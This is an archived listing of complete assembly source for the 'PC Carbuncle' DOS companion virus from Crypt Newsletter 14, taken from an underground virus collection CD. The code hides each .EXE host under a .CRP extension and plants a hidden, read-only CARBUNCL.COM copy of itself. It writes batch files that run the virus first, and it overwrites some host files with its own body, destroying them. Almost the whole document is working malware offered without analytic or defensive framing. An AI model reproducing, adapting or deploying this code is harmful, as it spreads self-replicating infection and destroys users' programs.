home *** CD-ROM | disk | FTP | other *** search
/ Underground / Underground CD1.iso / virii / zrodla / c / carbunc.asm < prev    next >
Encoding:
Assembly Source File  |  1998-01-14  |  8.2 KB  |  245 lines

  1. ;The PC CARBUNCLE VIRUS - a companion virus for Crypt Newsletter 14                
  2.  
  3. ;The PC Carbuncle is a "toy" virus which will search out every .EXEfile
  4.  
  5. ;in the current directory, rename it with a .CRP [for Crypt] extent and
  6.  
  7. ;create a batchfile.  The batchfile calls the PC Carbuncle [which has
  8.  
  9. ;copied itself to a hidden file in the directory], renames the host
  10.  
  11. ;file to its NORMAL extent, executes it, hides it as a .CRP file once
  12.  
  13. ;again and issues a few error messages.  The host files function
  14.  
  15. ;normally. Occasionaly, the PC Carbuncle will copy itself to a few
  16.  
  17. ;of the host .CRP files, destroying them.  The majority of the host
  18.  
  19. ;files in the PC Carbuncle-controlled directory will continue to function,
  20.  
  21. ;in any case.  If the user discovers the .CRP and .BAT files and is smart
  22.  
  23. ;enough to delete the batchfiles and rename the .CRP hosts to their
  24.  
  25. ;normal .EXE extents, the .CRPfiles which have been infected by the
  26.  
  27. ;virus will re-establish the infection in the directory.
  28.  
  29. ;--Urnst Kouch, Crypt Newsletter 14
  30.  
  31.         
  32.  
  33.         .radix 16
  34.  
  35.      code       segment
  36.  
  37.         model  small
  38.  
  39.         assume cs:code, ds:code, es:code
  40.  
  41.  
  42.  
  43.         org 100h
  44.  
  45. begin:
  46.  
  47.         jmp     vir_start
  48.  
  49.         db     'ߥ.ÜΓNstådëMû$'      ; name
  50.  
  51.           
  52.  
  53. exit:
  54.  
  55.         mov     ah, 4Ch              ; exit to DOS
  56.  
  57.         int     21h
  58.  
  59. vir_start:
  60.  
  61.         
  62.  
  63.         mov     ah,2Ch               ; DOS get system time.                      
  64.  
  65.         int     21h                  ; <--alter values to suit        
  66.  
  67.         cmp     dh,10                ; is seconds > 10?
  68.  
  69.         jg      batch_stage          ; if so, be quiet  (jg)
  70.  
  71.               ; with the virus counter, this feature arrests the  
  72.  
  73.                          ; overwriting infection so 
  74.  
  75.                          ; computing isn't 
  76.  
  77.                          ; horribly disrupted
  78.  
  79.                          ; when the virus is about
  80.  
  81.         mov     al,5                 ; infect only a few files
  82.  
  83.         mov     count,al             ; by establishing a counter
  84.  
  85.  
  86.  
  87.  
  88.  
  89. start:          mov     ah,4Eh                ; <----find first file of
  90.  
  91. recurse: 
  92.  
  93.         mov     dx,offset crp_ext     ; matching filemask, "*.crp"
  94.  
  95.         int     21h                   ; because PC CARBUNCLE has  
  96.  
  97.                           ; in most cases, already created
  98.  
  99.                           ; them.
  100.  
  101.         jc      batch_stage           ; jump on carry to
  102.  
  103.                           ; spawn if no .CRPfiles found
  104.  
  105.         
  106.  
  107.         
  108.  
  109.         mov     ax,3D01h              ; open .CRPfile r/w  
  110.  
  111.         mov     dx,009Eh                
  112.  
  113.         int     21h                     
  114.  
  115.     
  116.  
  117.         mov     bh,40h                 ; 
  118.  
  119.         mov     dx,0100h               ; starting from beginning
  120.  
  121.         xchg    ax,bx                  ; put handle in ax
  122.  
  123.         mov     cl,2Ah                 ; to write: PC CARBUNCLE 
  124.  
  125.         int     21h                    ; write the virus
  126.  
  127.         mov     ah,3Eh                 ; close the file
  128.  
  129.         int     21h                     
  130.  
  131.         
  132.  
  133.         dec     count                  ; take one off the count
  134.  
  135.         jz      exit                   ; and exit when a few files
  136.  
  137.                            ; are overwritten with virus
  138.  
  139.         mov     ah,4Fh                 ; find next file
  140.  
  141.         jmp     Short recurse          ; and continue until all .CRP
  142.  
  143.                            ; files converted to PC
  144.  
  145.                            ; CARBUNCLE's
  146.  
  147.  
  148.  
  149.         ret
  150.  
  151.  
  152.  
  153. batch_stage:    
  154.  
  155.         mov    dx,offset file_create  ; create file, name of
  156.  
  157.         mov    cx,0                   ; CARBUNCL.COM
  158.  
  159.         mov    ah,3ch
  160.  
  161.         int    21h
  162.  
  163.                         ; Write virus body to file
  164.  
  165.         mov    bx,ax
  166.  
  167.         mov    cx,offset last - offset begin
  168.  
  169.         mov    dx,100h
  170.  
  171.         mov    ah,40h
  172.  
  173.         int    21h
  174.  
  175.  
  176.  
  177.                         ; Close file
  178.  
  179.         mov    ah,3eh                    ; ASSUMES bx still has file handle
  180.  
  181.         int    21h
  182.  
  183.  
  184.  
  185.                         ; Change attributes
  186.  
  187.         mov    dx,offset file_create     ; of created file to
  188.  
  189.         mov    cx,3                      ;(1) read only and (2) hidden
  190.  
  191.         mov    ax,4301h
  192.  
  193.         int    21h
  194.  
  195.  
  196.  
  197.  
  198.  
  199.  
  200.  
  201.                          ; get DTA
  202.  
  203.         mov     ah, 1Ah                  ; where to put dta
  204.  
  205.         lea     DX, [LAST+90H]
  206.  
  207.         int     21h
  208.  
  209.         mov     ah, 4Eh                  ; find first .EXE file
  210.  
  211. small_loop:                                      ; to CARBUNCL-ize
  212.  
  213.         lea     dx, [vict_ext]           ; searchmask, *.exe
  214.  
  215.         int     21h
  216.  
  217.         jc      exit
  218.  
  219.         mov     si, offset last + 90h + 30d  ; save name
  220.  
  221.         mov     di, offset orig_name
  222.  
  223.         mov     cx, 12d
  224.  
  225.         rep     movsb
  226.  
  227.  
  228.  
  229.         mov     si, offset orig_name        ; put name in bat buffer
  230.  
  231.         mov     di, offset bat_name
  232.  
  233.         mov     cx, 12d
  234.  
  235.         rep     movsb
  236.  
  237.  
  238.  
  239.         cld
  240.  
  241.         mov     di, offset bat_name
  242.  
  243.         mov     al, '.'
  244.  
  245.         mov     cx, 9d
  246.  
  247.         repne   scasb
  248.  
  249.         push    cx
  250.  
  251.         cmp     word ptr es:[di-3],'SU'    ; useless rubbish 
  252.  
  253.         jne     cont                
  254.  
  255.         mov     ah, 4fh
  256.  
  257.         jmp     small_loop
  258.  
  259.         
  260.  
  261. cont:           mov     si, offset bat_ext         ;fix bat
  262.  
  263.         mov     cx, 3
  264.  
  265.         rep     movsb
  266.  
  267.         pop     cx
  268.  
  269.         mov     si, offset blank           ;further fix bat
  270.  
  271.         rep     movsb
  272.  
  273.  
  274.  
  275.         mov     si, offset orig_name       ; fill rename
  276.  
  277.         mov     di, offset rename_name
  278.  
  279.         mov     cx, 12d
  280.  
  281.         rep     movsb
  282.  
  283.  
  284.  
  285.         mov     di, offset rename_name 
  286.  
  287.         mov     al, '.'
  288.  
  289.         mov     cx, 9
  290.  
  291.         repne   scasb
  292.  
  293.         push    cx
  294.  
  295.         mov     si, offset moc_ext          ; fix rename
  296.  
  297.         mov     cx, 3
  298.  
  299.         rep     movsb
  300.  
  301.         pop     cx
  302.  
  303.         mov     si, offset blank            ; further fix rename
  304.  
  305.         rep     movsb                       ; copy the string over
  306.  
  307.  
  308.  
  309.         mov     di, offset orig_name 
  310.  
  311.         mov     al, ' '
  312.  
  313.         mov     cx, 12
  314.  
  315.         repne   scasb
  316.  
  317.         mov     si, offset blank           ; put a few blanks
  318.  
  319.         rep     movsb
  320.  
  321.       
  322.  
  323.         mov     si, offset orig_name      ;fill in the created batfile
  324.  
  325.         mov     di, offset com1           
  326.  
  327.         mov     cx, 12d
  328.  
  329.         rep     movsb
  330.  
  331.  
  332.  
  333.         mov     si, offset orig_name      ; more fill
  334.  
  335.         mov     di, offset com2
  336.  
  337.         mov     cx, 12d
  338.  
  339.         rep     movsb
  340.  
  341.  
  342.  
  343.         mov     si, offset orig_name       ; copy more fill
  344.  
  345.         mov     di, offset com3
  346.  
  347.         mov     cx, 12d
  348.  
  349.         rep     movsb
  350.  
  351.         mov     si, offset blank
  352.  
  353. point_srch:     dec     di                         ; get rid of an annoying
  354.  
  355.         cmp     byte ptr [di], 00          ; period 
  356.  
  357.         jne     point_srch                 
  358.  
  359.         rep     movsb
  360.  
  361.         
  362.  
  363.         mov     si, offset rename_name      ; copy more fill
  364.  
  365.         mov     di, offset moc1
  366.  
  367.         mov     cx, 12d
  368.  
  369.         rep     movsb
  370.  
  371.  
  372.  
  373.         mov     si, offset rename_name      ; copy still more fill
  374.  
  375.         mov     di, offset moc2
  376.  
  377.         mov     cx, 12d
  378.  
  379.         rep     movsb
  380.  
  381.  
  382.  
  383.         mov     dx, offset orig_name        ; rename original file
  384.  
  385.         mov     di, offset rename_name      ; to new .CRP name
  386.  
  387.         mov     ah, 56h
  388.  
  389.         int     21h
  390.  
  391.  
  392.  
  393.         mov     dx, offset bat_name         ; create batfile
  394.  
  395.         xor     cx, cx
  396.  
  397.         mov     ah, 3Ch
  398.  
  399.         int     21h
  400.  
  401.  
  402.  
  403.         mov     bx, ax
  404.  
  405.         mov     cx, (offset l_bat - offset s_bat) ; length of batfile
  406.  
  407.         mov     dx, offset s_bat             ; write to file
  408.  
  409.         mov     ah, 40h
  410.  
  411.         int     21h
  412.  
  413.  
  414.  
  415.         mov     ah, 3eh                      ; close batfile
  416.  
  417.         int     21h
  418.  
  419. next_vict:      mov     ah, 4fh                      ; find the next host
  420.  
  421.         jmp     small_loop                   ; and create more
  422.  
  423.                              ; "controlled" .CRPs
  424.  
  425. count           db      90h           ;<---count buffer, bogus value 
  426.  
  427. crp_ext         db      "*.crp",0     ;<---- searchmask for PC CARBUNCLE
  428.  
  429. file_create     db      "CARBUNCL.COM",0 ;<---CARBUNCL shadow virus
  430.  
  431. bat_ext         db      "BAT"
  432.  
  433. Vict_ext        db      "*.exe",0   ;<----searchmask for hosts to CARBUNCL-ize
  434.  
  435. moc_ext         db      "CRP"       ; new extent for CARBUNCL-ized hosts
  436.  
  437. blank           db      "        "  ;blanks for filling batchfile
  438.  
  439. S_bat:
  440.  
  441.         db      "@ECHO OFF",0Dh,0Ah ; <--batchfile command lines
  442.  
  443.         db      "CARBUNCL",0Dh,0Ah  ; call PC CARBUNCL shadow virus
  444.  
  445.         db      "RENAME "
  446.  
  447. moc1            db       12 dup (' '),' '
  448.  
  449. com1            db       12 dup (' '),0dh,0ah
  450.  
  451. com2            db       12 dup (' '),0dh,0ah
  452.  
  453.         db       "RENAME "
  454.  
  455. com3            db       12 dup (' '),' '
  456.  
  457. moc2            db       12 dup (' '),0dh,0ah
  458.  
  459.         db       "CARBUNCL",0Dh,0Ah,01Ah ;<---put dumb message here
  460.  
  461. L_bat:                                         ; format "ECHO Fuck you lamer"
  462.  
  463. note:           db       "PC CARBUNCLE: Crypt Newsletter 14",0
  464.  
  465.  
  466.  
  467. bat_name        db       12 dup (' '),0           ; on the fly workspace 
  468.  
  469. rename_name     db       12 dup (' '),0
  470.  
  471. orig_name       db       12 dup (' '),0
  472.  
  473. Last:                                       ;<---- end of virus place-holder
  474.  
  475.  
  476.  
  477.  
  478.  
  479. code            ends
  480.  
  481.         end begin
  482.  
  483.  
  484.  
  485.  
  486.  
  487.  
  488.  
  489.